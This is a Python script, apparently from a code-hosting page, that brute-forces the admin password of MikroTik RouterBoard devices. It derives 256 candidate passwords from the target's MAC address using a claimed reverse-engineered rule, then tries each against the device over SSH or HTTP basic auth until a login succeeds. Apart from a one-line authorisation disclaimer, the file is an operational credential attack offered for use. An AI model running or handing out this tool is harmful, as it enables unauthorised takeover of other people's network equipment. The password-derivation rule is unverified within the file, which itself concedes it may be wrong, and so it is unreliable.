248 lines
7.9 KiB
Python
248 lines
7.9 KiB
Python
"""
|
|
MikroTik RouterBoard Targeted Password Brute Force
|
|
|
|
Based on reverse engineered algorithm analysis:
|
|
- Only tries 256 possible passwords (one per MAC[0] value)
|
|
- Assumes 0xD0 and 0xFF are fixed constants
|
|
- Uses actual MAC address bytes for MAC[1], MAC[2], MAC[3]
|
|
- Takes ~2-5 minutes instead of thousands of years!
|
|
|
|
Algorithm:
|
|
PWD[0] = MAC[0] XOR 0xD0
|
|
PWD[1] = MAC[1]
|
|
PWD[2] = NOT(MAC[2])
|
|
PWD[3] = 0xFF
|
|
|
|
USAGE: Only use on devices you own or have authorization to access.
|
|
"""
|
|
|
|
import sys
|
|
import time
|
|
import argparse
|
|
|
|
|
|
class MikroTikTargetedBruteForce:
|
|
"""Targeted brute force for MikroTik passwords."""
|
|
|
|
def __init__(self, mac_address, host, port=22, use_http=False, timeout=5):
|
|
"""
|
|
Initialize the targeted brute force.
|
|
|
|
Args:
|
|
mac_address (str): MAC address of device (e.g., "18:FD:74:F9:04:FC")
|
|
host (str): IP address of device
|
|
port (int): Port (22 for SSH, 80 for HTTP)
|
|
use_http (bool): Use HTTP instead of SSH
|
|
timeout (int): Connection timeout in seconds
|
|
"""
|
|
self.mac_address = mac_address.upper()
|
|
self.host = host
|
|
self.port = port
|
|
self.use_http = use_http
|
|
self.timeout = timeout
|
|
self.username = "admin"
|
|
self.attempts = 0
|
|
self.found_password = None
|
|
|
|
def parse_mac(self, mac_string):
|
|
"""Parse MAC address string into bytes."""
|
|
parts = mac_string.upper().split(":")
|
|
if len(parts) != 6:
|
|
raise ValueError(f"Invalid MAC address: {mac_string}")
|
|
try:
|
|
return [int(part, 16) for part in parts]
|
|
except ValueError:
|
|
raise ValueError(f"Invalid MAC address format: {mac_string}")
|
|
|
|
def generate_password_for_mac_byte_0(self, mac_byte_0):
|
|
"""
|
|
Generate password for a specific MAC[0] value.
|
|
|
|
Args:
|
|
mac_byte_0 (int): Value for MAC[0] (0-255)
|
|
|
|
Returns:
|
|
str: Password in format "xxxx-xxxx"
|
|
"""
|
|
# Use actual MAC bytes for 1-3
|
|
mac_bytes = self.parse_mac(self.mac_address)
|
|
b0, b1, b2, b3 = mac_bytes[0], mac_bytes[1], mac_bytes[2], mac_bytes[3]
|
|
|
|
# But vary b0 for brute forcing
|
|
pwd_byte_0 = mac_byte_0 ^ 0xD0
|
|
pwd_byte_1 = b1
|
|
pwd_byte_2 = (~b2) & 0xFF # NOT operation
|
|
pwd_byte_3 = 0xFF
|
|
|
|
hex_string = f"{pwd_byte_0:02x}{pwd_byte_1:02x}{pwd_byte_2:02x}{pwd_byte_3:02x}"
|
|
return f"{hex_string[:4]}-{hex_string[4:]}"
|
|
|
|
def try_password_ssh(self, password):
|
|
"""Try connecting via SSH."""
|
|
try:
|
|
import paramiko
|
|
except ImportError:
|
|
print("Error: paramiko not installed. Install with: pip install paramiko")
|
|
return False
|
|
|
|
try:
|
|
client = paramiko.SSHClient()
|
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
|
|
|
client.connect(
|
|
self.host,
|
|
port=self.port,
|
|
username=self.username,
|
|
password=password,
|
|
timeout=self.timeout,
|
|
allow_agent=False,
|
|
look_for_keys=False,
|
|
)
|
|
client.close()
|
|
return True
|
|
except paramiko.AuthenticationException:
|
|
return False
|
|
except Exception:
|
|
return False
|
|
|
|
def try_password_http(self, password):
|
|
"""Try connecting via HTTP."""
|
|
try:
|
|
import requests
|
|
from requests.auth import HTTPBasicAuth
|
|
except ImportError:
|
|
print("Error: requests not installed. Install with: pip install requests")
|
|
return False
|
|
|
|
try:
|
|
response = requests.get(
|
|
f"http://{self.host}:{self.port}/",
|
|
auth=HTTPBasicAuth(self.username, password),
|
|
timeout=self.timeout,
|
|
)
|
|
return response.status_code == 200
|
|
except Exception:
|
|
return False
|
|
|
|
def try_password(self, password):
|
|
"""Try a password."""
|
|
if self.use_http:
|
|
return self.try_password_http(password)
|
|
else:
|
|
return self.try_password_ssh(password)
|
|
|
|
def brute_force(self):
|
|
"""Run the targeted brute force (256 attempts)."""
|
|
print("MikroTik Targeted Password Brute Force")
|
|
print("=" * 50)
|
|
print()
|
|
print(f"MAC Address: {self.mac_address}")
|
|
print(f"Target: {self.host}:{self.port}")
|
|
print(f"Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
|
|
print()
|
|
print("Algorithm:")
|
|
print(" PWD[0] = MAC[0] XOR 0xD0")
|
|
print(" PWD[1] = MAC[1]")
|
|
print(" PWD[2] = NOT(MAC[2])")
|
|
print(" PWD[3] = 0xFF")
|
|
print()
|
|
print("Trying 256 possible passwords (MAC[0] from 0x00 to 0xFF)...")
|
|
print()
|
|
|
|
mac_bytes = self.parse_mac(self.mac_address)
|
|
start_time = time.time()
|
|
|
|
for mac_byte_0 in range(256):
|
|
password = self.generate_password_for_mac_byte_0(mac_byte_0)
|
|
self.attempts += 1
|
|
|
|
if self.attempts % 32 == 1 or self.attempts == 1:
|
|
elapsed = time.time() - start_time
|
|
rate = self.attempts / elapsed if elapsed > 0 else 0
|
|
print(
|
|
f"[*] Attempt {self.attempts}/256 ({rate:.1f} pwd/sec) - "
|
|
f"Trying: {password}"
|
|
)
|
|
|
|
if self.try_password(password):
|
|
elapsed = time.time() - start_time
|
|
print()
|
|
print("=" * 50)
|
|
print(f"[+] SUCCESS! Password found!")
|
|
print(f"[+] Password: {password}")
|
|
print(f"[+] Total attempts: {self.attempts}")
|
|
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
|
|
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
|
|
print("=" * 50)
|
|
self.found_password = password
|
|
return password
|
|
|
|
elapsed = time.time() - start_time
|
|
print()
|
|
print("=" * 50)
|
|
print("[-] Brute force complete. Password not found.")
|
|
print(f"[-] This means:")
|
|
print(f" 1. The constants 0xD0 or 0xFF might not be fixed")
|
|
print(f" 2. The algorithm might be different")
|
|
print(f" 3. Or the device might have a different password algorithm")
|
|
print(f"[*] Total attempts: {self.attempts}/256")
|
|
print(f"[*] Time elapsed: {elapsed:.2f} seconds")
|
|
print("=" * 50)
|
|
return None
|
|
|
|
|
|
def main():
|
|
"""Main entry point."""
|
|
parser = argparse.ArgumentParser(
|
|
description="MikroTik Targeted Password Brute Force (256 attempts)",
|
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
epilog="""
|
|
Examples:
|
|
python script.py 18:FD:74:F9:04:FC 192.168.88.1
|
|
python script.py 18:FD:74:F9:04:FC 192.168.88.1 --method http --port 80
|
|
python script.py 18:FD:74:F9:04:FC 192.168.88.1 --port 2222
|
|
""",
|
|
)
|
|
|
|
parser.add_argument("mac", help="MAC address of device (e.g., 18:FD:74:F9:04:FC)")
|
|
parser.add_argument("host", help="IP address of device (e.g., 192.168.88.1)")
|
|
parser.add_argument(
|
|
"--port", type=int, default=22, help="Port number (default: 22 for SSH, 80 for HTTP)"
|
|
)
|
|
parser.add_argument(
|
|
"--method",
|
|
choices=["ssh", "http"],
|
|
default="ssh",
|
|
help="Connection method (default: ssh)",
|
|
)
|
|
parser.add_argument(
|
|
"--timeout", type=int, default=5, help="Connection timeout in seconds (default: 5)"
|
|
)
|
|
|
|
args = parser.parse_args()
|
|
|
|
# Validate MAC address
|
|
try:
|
|
brute_forcer = MikroTikTargetedBruteForce(
|
|
args.mac,
|
|
args.host,
|
|
port=args.port,
|
|
use_http=(args.method == "http"),
|
|
timeout=args.timeout,
|
|
)
|
|
except ValueError as e:
|
|
print(f"Error: {e}")
|
|
sys.exit(1)
|
|
|
|
# Run brute force
|
|
password = brute_forcer.brute_force()
|
|
|
|
if password:
|
|
sys.exit(0)
|
|
else:
|
|
sys.exit(1)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|
|
|